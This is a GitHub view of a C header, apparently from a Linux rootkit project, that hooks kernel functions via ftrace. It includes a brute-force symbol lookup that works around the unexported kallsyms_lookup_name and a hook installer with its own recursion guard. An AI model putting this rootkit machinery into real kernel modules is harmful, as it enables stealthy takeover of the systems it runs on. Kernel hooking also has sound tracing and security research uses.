-
Notifications
You must be signed in to change notification settings - Fork 128
/
Copy pathftrace_helper.h
268 lines (236 loc) · 7.85 KB
/
ftrace_helper.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
/*
* Helper library for ftrace hooking kernel functions
* Author: Harvey Phillips ([email protected])
* License: GPL
* */
#include <linux/ftrace.h>
#include <linux/linkage.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define BRUTEFORCE_KADDR 1
#endif
#define HOOK(_name, _hook, _orig) \
{ \
.name = (_name), \
.function = (_hook), \
.original = (_orig), \
}
/*
* In kernel version 5.7, kallsyms_lookup_name() was unexported, so we can't use it anymore.
* The alternative method below is slower (but not really noticably), and works by brute-forcing
* possible addresses for the function name by starting at the kernel base address and using
* sprint_symbol() (which is still exported) to check if the symbol name at each address
* matches the one we want.
*/
#ifdef BRUTEFORCE_KADDR
unsigned long kaddr_lookup_name(const char *fname_raw)
{
int i;
unsigned long kaddr;
char *fname_lookup, *fname;
fname_lookup = kzalloc(NAME_MAX, GFP_KERNEL);
if (!fname_lookup)
return 0;
fname = kzalloc(strlen(fname_raw)+4, GFP_KERNEL);
if (!fname)
return 0;
/*
* We have to add "+0x0" to the end of our function name
* because that's the format that sprint_symbol() returns
* to us. If we don't do this, then our search can stop
* prematurely and give us the wrong function address!
*/
strcpy(fname, fname_raw);
strcat(fname, "+0x0");
/*
* Get the kernel base address:
* sprint_symbol() is less than 0x100000 from the start of the kernel, so
* we can just AND-out the last 3 bytes from it's address to the the base
* address.
* There might be a better symbol-name to use?
*/
kaddr = (unsigned long) &sprint_symbol;
kaddr &= 0xffffffffff000000;
/*
* All the syscalls (and all interesting kernel functions I've seen so far)
* are within the first 0x100000 bytes of the base address. However, the kernel
* functions are all aligned so that the final nibble is 0x0, so we only
* have to check every 16th address.
*/
for ( i = 0x0 ; i < 0x100000 ; i++ )
{
/*
* Lookup the name ascribed to the current kernel address
*/
sprint_symbol(fname_lookup, kaddr);
/*
* Compare the looked-up name to the one we want
*/
if ( strncmp(fname_lookup, fname, strlen(fname)) == 0 )
{
/*
* Clean up and return the found address
*/
kfree(fname_lookup);
return kaddr;
}
/*
* Jump 16 addresses to next possible address
*/
kaddr += 0x10;
}
/*
* We didn't find the name, so clean up and return 0
*/
kfree(fname_lookup);
return 0;
}
#endif
/* We need to prevent recursive loops when hooking, otherwise the kernel will
* panic and hang. The options are to either detect recursion by looking at
* the function return address, or by jumping over the ftrace call. We use the
* first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
* setting it to 1. (Oridinarily ftrace provides it's own protections against
* recursion, but it relies on saving return registers in $rip. We will likely
* need the use of the $rip register in our hook, so we have to disable this
* protection and implement our own).
* */
#define USE_FENTRY_OFFSET 0
#if !USE_FENTRY_OFFSET
#pragma GCC optimize("-fno-optimize-sibling-calls")
#endif
/* We pack all the information we need (name, hooking function, original function)
* into this struct. This makes is easier for setting up the hook and just passing
* the entire struct off to fh_install_hook() later on.
* */
struct ftrace_hook {
const char *name;
void *function;
void *original;
unsigned long address;
struct ftrace_ops ops;
};
/* Ftrace needs to know the address of the original function that we
* are going to hook. As before, we just use kallsyms_lookup_name()
* to find the address in kernel memory.
* */
static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
/*
* Use a different function if we're on kernel version 5.7+
*/
#ifdef BRUTEFORCE_KADDR
hook->address = kaddr_lookup_name(hook->name);
#else
hook->address = kallsyms_lookup_name(hook->name);
#endif
if (!hook->address)
{
printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
return -ENOENT;
}
#if USE_FENTRY_OFFSET
*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
*((unsigned long*) hook->original) = hook->address;
#endif
return 0;
}
/* See comment below within fh_install_hook() */
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs)
{
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
#if USE_FENTRY_OFFSET
regs->ip = (unsigned long) hook->function;
#else
if(!within_module(parent_ip, THIS_MODULE))
regs->ip = (unsigned long) hook->function;
#endif
}
/* Assuming we've already set hook->name, hook->function and hook->original, we
* can go ahead and install the hook with ftrace. This is done by setting the
* ops field of hook (see the comment below for more details), and then using
* the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
* provided by ftrace.h
* */
int fh_install_hook(struct ftrace_hook *hook)
{
int err;
err = fh_resolve_hook_address(hook);
if(err)
return err;
/* For many of function hooks (especially non-trivial ones), the $rip
* register gets modified, so we have to alert ftrace to this fact. This
* is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
* need to OR the RECURSION_SAFE flag (effectively turning if OFF) because
* the built-in anti-recursion guard provided by ftrace is useless if
* we're modifying $rip. This is why we have to implement our own checks
* (see USE_FENTRY_OFFSET). */
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION_SAFE
| FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if(err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if(err)
{
printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
return err;
}
return 0;
}
/* Disabling our function hook is just a simple matter of calling the built-in
* unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
* opposite order to that in fh_install_hook()).
* */
void fh_remove_hook(struct ftrace_hook *hook)
{
int err;
err = unregister_ftrace_function(&hook->ops);
if(err)
{
printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err);
}
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
if(err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
}
}
/* To make it easier to hook multiple functions in one module, this provides
* a simple loop over an array of ftrace_hook struct
* */
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
int err;
size_t i;
for (i = 0 ; i < count ; i++)
{
err = fh_install_hook(&hooks[i]);
if(err)
goto error;
}
return 0;
error:
while (i != 0)
{
fh_remove_hook(&hooks[--i]);
}
return err;
}
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
size_t i;
for (i = 0 ; i < count ; i++)
fh_remove_hook(&hooks[i]);
}